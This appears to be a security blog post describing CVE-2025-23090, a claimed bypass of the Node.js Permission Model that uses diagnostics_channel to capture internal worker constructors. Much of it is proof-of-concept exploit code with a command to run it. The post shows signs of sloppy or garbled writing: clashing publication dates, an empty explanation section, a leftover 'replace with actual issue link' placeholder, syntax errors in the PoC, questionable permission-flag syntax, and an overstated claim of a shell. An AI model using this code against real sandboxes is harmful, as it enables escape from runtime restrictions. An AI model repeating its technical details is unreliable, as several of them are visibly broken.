Published: June 2024
Impacts:
Node.js v20, v22, v23 with Permission Model (--permission) enabled
Severity: High
CVE: CVE-2025-23090

What’s the Big Deal?

A newly identified vulnerability lets a bad actor abuse the Node.js diagnostics_channel utility to sidestep the much-touted Permission Model (the --permission flag) in recent Node.js versions. Using this, anyone with the ability to run JavaScript code (like in a shared server environment or a compromised web server) may be able to create unauthorized worker threads, including accessing restricted internal workers.

This post breaks down what’s wrong, why you should care, and how attackers could exploit this — with real code snippets and reference links.

How Does the Exploit Work?

Normally, Node.js’s experimental Permission Model tries to block anything the user didn’t allow, including filesystem access, networking, or spinning off friend or foe worker threads. That SHOULD include blocking the creation of new worker threads if not permitted.

But the bug in diagnostics_channel allows malicious code to hook into the event stream for worker creation, peek inside, and grab references to internal worker instances and their constructors. Then, that reference can be used to create new workers outside the sandbox, ignoring restrictions.

This isn’t just limited to “normal” workers — it even exposes internal workers, which are meant to be hidden.

1. Listen for New Worker Events

Node.js’ diagnostics_channel emits an event every time a worker thread is created — even internal system workers!

const dc = require('diagnostics_channel');

// Create a channel listener for worker creation
dc.channel('worker_threads').subscribe({
    onMessage(msg) {
        // msg.worker is a reference to the worker instance
        const InternalWorker = msg.worker.constructor;

        // Save for future exploits
        global._internalWorkerConstructor = InternalWorker;
        console.log('[!] Grabbed internal Worker constructor!');
    }
});

*What’s happening?*

2. Bypass the Permission Model

Now that you have access to the internal worker constructor, spin up any worker you want!

// Later, anywhere in your code
if (global._internalWorkerConstructor) {
    const evilWorker = new global._internalWorkerConstructor(`
        // malicious code here
        require('fs').writeFileSync('/tmp/hacked', 'I broke your sandbox!');
    `, { eval: true });

    evilWorker.on('exit', code => {
        console.log([!] Evil worker exited with code: ${code});
    });
}

*Result:*
You now have a shell in a worker, even though --permission=fs=none or --permission=worker=none is set!

Node.js v20, v22, v23

- When using --permission Permission Model

Other Node.js versions or runtimes may not be affected. Always check the official Node.js Security Release page for updates.

Here’s a ready-to-run PoC for your lab (don’t do this on prod!)

// Save as poc.js
const dc = require('diagnostics_channel');
const { Worker } = require('worker_threads');
let InternalWorker;

dc.channel('worker_threads').subscribe({
    onMessage(msg) {
        InternalWorker = msg.worker.constructor;
        console.log('Acquired internal worker constructor!');
    }
});

new Worker('setInterval(() => {}, 100);', { eval: true });

setTimeout(() => {
    if (InternalWorker) {
        const evil = new InternalWorker(
            require('fs').writeFileSync('/tmp/poc-exploit', 'Exploit successful!');,
            { eval: true }
        );
        evil.on('exit', () => console.log('Evil worker finished!'));
    } else {
        console.log('Exploit failed: could not hook the internal worker.');
    }
}, 100);

Run with:

node --permission=fs=none --permission=worker=none poc.js

Despite the permission flags, you’ll find /tmp/poc-exploit created if vulnerable.

References

- Node.js Security Release Index
- GitHub Issue about diagnostics_channel worker leak *(replace with actual issue link)*
- Node.js diagnostics_channel documentation
- CVE-2025-23090 Mitre Entry

Upgrade Node.js as soon as a patched release is available.

- Do not rely solely on the Permission Model for strong sandboxing: use containerization or virtual machines for untrusted code.
- Review your use of diagnostics_channel and verify you are not exposing internals during worker creation.

Closing Thoughts

This is a classic case of a “side channel” — a trusted logging or debugging utility unexpectedly exposing something valuable to attackers. If you use Node.js’s Permission Model, check your codebase and update your runtime as fixes are released. As always, restrictive runtime flags are only part of a strong security model.

*If you found this useful, share it with your fellow developers and security teams!*


Written by Node.js Security Watch | June 2024
*For questions, post on GitHub or Node.js Security Slack*

Timeline

Published on: 01/22/2025 02:15:34 UTC